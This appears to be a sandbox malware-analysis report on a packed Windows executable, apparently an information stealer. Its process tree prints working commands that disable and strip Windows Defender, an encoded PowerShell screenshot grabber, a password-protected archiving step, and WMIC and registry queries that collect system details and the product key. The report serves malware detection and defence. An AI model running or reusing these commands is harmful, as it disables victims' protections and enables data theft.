Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    134s
  • max time network
    146s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    29/05/2024, 18:24

General

  • Target

    Built.exe

  • Size

    7.4MB

  • MD5

    3e977af8a7c8d4f82b2cb16f8d3fc1ba

  • SHA1

    0611bead6cae064efa04f4bfd5ae1b163fee558a

  • SHA256

    e77a62c0b466b2e6893b27ad4d1c9773e3591a65c2dee61e0e9d22415976b63c

  • SHA512

    0775b8dbadd11f4e0ce86e5dd4e8c94579b6315a895b8aa1475516d21726fe4825b90b692a8931b34be30bd469a9e585235f001eff39007c382200145db12f57

  • SSDEEP

    196608:crt60cDeaLjv+bhqNVoBKUh8mz4Iv9Plu1D7AH:gieuL+9qz8/b4IzuRAH

Score
10/10

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • UPX packed file 48 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2100
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1088
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4536
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2376
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4676
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1992
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:1584
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4484
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4020
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eix4fvew\eix4fvew.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1352
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6F25.tmp" "c:\Users\Admin\AppData\Local\Temp\eix4fvew\CSC1D5739AF3A3D41C696F33B43BFA24984.TMP"
              6⤵
                PID:208
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI21002\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\CU0g5.zip" *"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:212
          • C:\Users\Admin\AppData\Local\Temp\_MEI21002\rar.exe
            C:\Users\Admin\AppData\Local\Temp\_MEI21002\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\CU0g5.zip" *
            4⤵
            • Executes dropped EXE
            PID:5108
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5028
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic os get Caption
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2728
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4244
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic computersystem get totalphysicalmemory
            4⤵
              PID:3544
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2612
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic csproduct get uuid
              4⤵
                PID:1312
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:512
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3556
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3660
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                PID:3372
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1300
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:1992
        • C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe
          "C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe" -ServerName:SecHealthUI.AppXep4x2tbtjws1v9qqs0rmb3hxykvkpqtn.mca
          1⤵
          • Drops file in Windows directory
          • Suspicious use of SetWindowsHookEx
          PID:1828

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          268b890dae39e430e8b127909067ed96

          SHA1

          35939515965c0693ef46e021254c3e73ea8c4a2b

          SHA256

          7643d492a6f1e035b63b2e16c9c21d974a77dfd2d8e90b9c15ee412625e88c4c

          SHA512

          abc4b2ce10a6566f38c00ad55e433791dd45fca47deec70178daf0763578ff019fb0ec70792d5e9ecde4eb6778a35ba8a8c7ecd07550597d9bbb13521c9b98fb

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          a953721d088e3d07456fdfca2220f99c

          SHA1

          5b12aded20d8ab611f9e8fa25d458f9ef0f91a72

          SHA256

          7dcf742206203a1a98cc04e546ae8482a43e6c1a449e34fb1f5a97b414af66e4

          SHA512

          77564f706ffda97a399c1c06b12774385f2f4a64c74037069c6d2549dc5bf127b5f70bfaefb30b0e76a9aae360131b4203e2fd2de2a8b6ff89cc420b63a3fb18

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          453597a7566302a891c4a9035d4185e5

          SHA1

          7044bba3a512d1be77bc560640c3e19e0ae477ff

          SHA256

          b9d3f5ea4141eb05213fbe66ecaa3fb1694c777e29190c25cd87bea8e96365c8

          SHA512

          91bca2aaf04ef9add14b0794230546f23260e864b96efec35e66d9af7e51cf2f9bedabf3507776b44367def8f97894c57f9db0687061248fd9f4620aa7f41378

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          f5f35dded3d016259ba5fcd645c4f3f2

          SHA1

          0a029d87f2b0d2005dfff4881809d39fe89db44e

          SHA256

          b58f8a4aa22763a865eddc7de6127eaf57a17839547366c45d0376d1d8dd4339

          SHA512

          bb0110cb178805d29b3763ddf5b2aa37fba374981048df921d9b53b456cd61eb20d3a00ff6e6fc2596aefce74ca34445df341d965802ecad7c0f3aa1bbe44c32

        • C:\Users\Admin\AppData\Local\Temp\CU0g5.zip

          Filesize

          453KB

          MD5

          b66c65e6a97f122d34ffda7cb015e50d

          SHA1

          c7bbc22854b5a97b416d196b27b9e3c0e9d95e2b

          SHA256

          90396941f46381a75521a2de53a14e6986cb86bc4a2529eaa46df3f698fb8a5a

          SHA512

          c4f3aa3e1962a1b969ff0888a7a2386f44e96cd93b29841e3866e5245dd17218ed46ec229270e3ecd86adcf255f419afd81151cd5aa7c2fd4979c30851e593f4

        • C:\Users\Admin\AppData\Local\Temp\RES6F25.tmp

          Filesize

          1KB

          MD5

          0007175f348add88b20d894e03cd8b83

          SHA1

          8439107fb3bc5c9c4bb3592910f8884bb8280f76

          SHA256

          ed8a02e7995e643532a9b954e9e6d354557c34f8d6629d58945bbbc1535695fe

          SHA512

          8e12c229b4430e391c0cd3dabc005d76864a32fd3ee393788599e7f20aaa9e2b23033ea8ab8fa4110aa43e62970a08e454b5e6d2104c8f32a3cdb78fab0d458a

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\_bz2.pyd

          Filesize

          48KB

          MD5

          20a7ecfe1e59721e53aebeb441a05932

          SHA1

          a91c81b0394d32470e9beff43b4faa4aacd42573

          SHA256

          7ebbe24da78b652a1b6fe77b955507b1daff6af7ff7e5c3fa5ac71190bde3da8

          SHA512

          99e5d877d34ebaaaeb281c86af3fff9d54333bd0617f1366e3b4822d33e23586ef9b11f4f7dd7e1e4a314c7a881f33123735294fe8af3a136cd10f80a9b8d902

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\_ctypes.pyd

          Filesize

          58KB

          MD5

          5006b7ea33fce9f7800fecc4eb837a41

          SHA1

          f6366ba281b2f46e9e84506029a6bdf7948e60eb

          SHA256

          8f7a5b0abc319ba9bfd11581f002e533fcbe4ca96cedd37656b579cd3942ef81

          SHA512

          e3e5e8f471a8ca0d5f0091e00056bd53c27105a946ca936da3f5897b9d802167149710404386c2ed3399b237b8da24b1a24e2561c436ed2e031a8f0564fbbc7c

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\_decimal.pyd

          Filesize

          106KB

          MD5

          d0231f126902db68d7f6ca1652b222c0

          SHA1

          70e79674d0084c106e246474c4fb112e9c5578eb

          SHA256

          69876f825678b717c51b7e7e480de19499d972cb1e98bbfd307e53ee5bace351

          SHA512

          b6b6bfd5fde200a9f45aeb7f6f845eac916feeef2e3fca54e4652e1f19d66ae9817f1625ce0ed79d62e504377011ce23fd95a407fbdbaa6911a09e48b5ef4179

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\_hashlib.pyd

          Filesize

          35KB

          MD5

          a81e0df35ded42e8909597f64865e2b3

          SHA1

          6b1d3a3cd48e94f752dd354791848707676ca84d

          SHA256

          5582f82f7656d4d92ed22f8e460bebd722e04c8f993c3a6adcc8437264981185

          SHA512

          2cda7348faffabc826fb7c4eddc120675730077540f042d6dc8f5e6921cf2b9cb88afcd114f53290aa20df832e3b7a767432ea292f6e5b5b5b7d0e05cf8905a6

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\_lzma.pyd

          Filesize

          85KB

          MD5

          f8b61629e42adfe417cb39cdbdf832bb

          SHA1

          e7f59134b2bf387a5fd5faa6d36393cbcbd24f61

          SHA256

          7a3973fedd5d4f60887cf0665bcb7bd3c648ad40d3ae7a8e249d875395e5e320

          SHA512

          58d2882a05289b9d17949884bf50c8f4480a6e6d2b8bd48dfdbcb03d5009af64abf7e9967357aeebf95575d7ef434a40e8ad07a2c1fe275d1a87aa59dcc702d6

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\_queue.pyd

          Filesize

          25KB

          MD5

          0da22ccb73cd146fcdf3c61ef279b921

          SHA1

          333547f05e351a1378dafa46f4b7c10cbebe3554

          SHA256

          e8ae2c5d37a68bd34054678ae092e2878f73a0f41e6787210f1e9b9bb97f37a0

          SHA512

          9eece79511163eb7c36a937f3f2f83703195fc752b63400552ca03d0d78078875ff41116ebaeb05c48e58e82b01254a328572096a17aaad818d32f3d2d07f436

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\_socket.pyd

          Filesize

          43KB

          MD5

          c12bded48873b3098c7a36eb06b34870

          SHA1

          c32a57bc2fc8031417632500aa9b1c01c3866ade

          SHA256

          6c4860cb071bb6d0b899f7ca2a1da796b06ea391bac99a01f192e856725e88aa

          SHA512

          335510d6f2f13fb2476a5a17445ca6820c86f7a8a8650f4fd855dd098d022a16c80a8131e04212fd724957d8785ad51ccaff532f2532224ccfd6ce44f4e740f9

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\_sqlite3.pyd

          Filesize

          56KB

          MD5

          63618d0bc7b07aecc487a76eb3a94af8

          SHA1

          53d528ef2ecbe8817d10c7df53ae798d0981943a

          SHA256

          e74c9ca9007b6b43ff46783ecb393e6ec9ebbdf03f7c12a90c996d9331700a8b

          SHA512

          8280f0f6afc69a82bc34e16637003afb61fee5d8f2cab80be7d66525623ec33f1449b0cc8c96df363c661bd9dbc7918a787ecafaaa5d2b85e6cafdcf0432d394

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\_ssl.pyd

          Filesize

          65KB

          MD5

          e52dbaeba8cd6cadf00fea19df63f0c1

          SHA1

          c03f112ee2035d0eaab184ae5f9db89aca04273a

          SHA256

          eaf60a9e979c95669d8f209f751725df385944f347142e0ecdcf2f794d005ead

          SHA512

          10eef8fd49e2997542e809c4436ad35dcc6b8a4b9b4313ad54481daef5f01296c9c5f6dedad93fb620f267aef46b0208deffbad1903593fd26fd717a030e89e8

        • C:\Users\Admin\AppData\Local\Temp\_MEI21002\base_library.zip

          Filesize

          1.4MB

          MD5

          d220b7e359810266fe6885a169448fa0

          SHA1

          556728b326318b992b0def059eca239eb14ba198

          SHA256

